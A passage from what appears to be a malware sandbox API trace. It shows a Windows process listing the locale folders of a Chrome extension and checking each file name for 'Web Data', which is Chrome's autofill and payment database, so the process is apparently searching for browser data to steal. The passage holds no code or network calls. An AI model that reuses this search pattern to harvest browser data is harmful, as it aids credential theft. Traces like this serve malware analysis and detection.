Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.368] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.368] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.368] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.368] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.368] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.368] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.368] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.368] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.368] LocalFree (hMem=0x2e0328) returned 0x0 [0056.368] LocalFree (hMem=0x2e0218) returned 0x0 [0056.368] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.368] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.368] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.368] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.368] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.368] lstrlenA (lpString="\\") returned 1 [0056.368] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.368] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.368] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.368] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.368] lstrlenA (lpString="lv") returned 2 [0056.368] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.368] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.368] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv" [0056.368] LocalFree (hMem=0x2e0108) returned 0x0 [0056.368] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv") returned 133 [0056.368] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv") returned 133 [0056.368] lstrlenA (lpString="\\*.*") returned 4 [0056.368] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.368] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv" [0056.368] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*.*" [0056.368] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.368] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.368] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.368] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.369] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.369] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.369] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.369] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.369] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.369] LocalFree (hMem=0x2e0328) returned 0x0 [0056.369] LocalFree (hMem=0x2e0218) returned 0x0 [0056.369] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.369] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.369] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.369] lstrlenA (lpString="\\") returned 1 [0056.369] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.369] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.369] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.369] lstrlenA (lpString="nl") returned 2 [0056.369] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.369] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.369] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl" [0056.369] LocalFree (hMem=0x2e0108) returned 0x0 [0056.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl") returned 133 [0056.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl") returned 133 [0056.369] lstrlenA (lpString="\\*.*") returned 4 [0056.369] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.369] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl" [0056.369] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*.*" [0056.369] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.369] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.369] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.369] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.369] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.369] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.369] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.369] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.369] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.369] LocalFree (hMem=0x2e0328) returned 0x0 [0056.369] LocalFree (hMem=0x2e0218) returned 0x0 [0056.369] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.369] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.369] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.369] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.369] lstrlenA (lpString="\\") returned 1 [0056.369] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.370] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.370] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.370] lstrlenA (lpString="no") returned 2 [0056.370] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.370] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.370] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no" [0056.370] LocalFree (hMem=0x2e0108) returned 0x0 [0056.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no") returned 133 [0056.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no") returned 133 [0056.370] lstrlenA (lpString="\\*.*") returned 4 [0056.370] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.370] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no" [0056.370] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*.*" [0056.370] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.370] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.370] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.370] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.370] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.370] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.370] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.370] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.370] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.370] LocalFree (hMem=0x2e0328) returned 0x0 [0056.370] LocalFree (hMem=0x2e0218) returned 0x0 [0056.370] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.370] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.370] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.370] lstrlenA (lpString="\\") returned 1 [0056.370] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.370] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.370] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.370] lstrlenA (lpString="pl") returned 2 [0056.370] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.370] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.370] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl" [0056.370] LocalFree (hMem=0x2e0108) returned 0x0 [0056.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl") returned 133 [0056.370] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl") returned 133 [0056.370] lstrlenA (lpString="\\*.*") returned 4 [0056.370] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.370] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl" [0056.371] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*.*" [0056.371] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.371] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.371] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.371] lstrcmpiA (lpString1=".", lpString2="..") returned -1 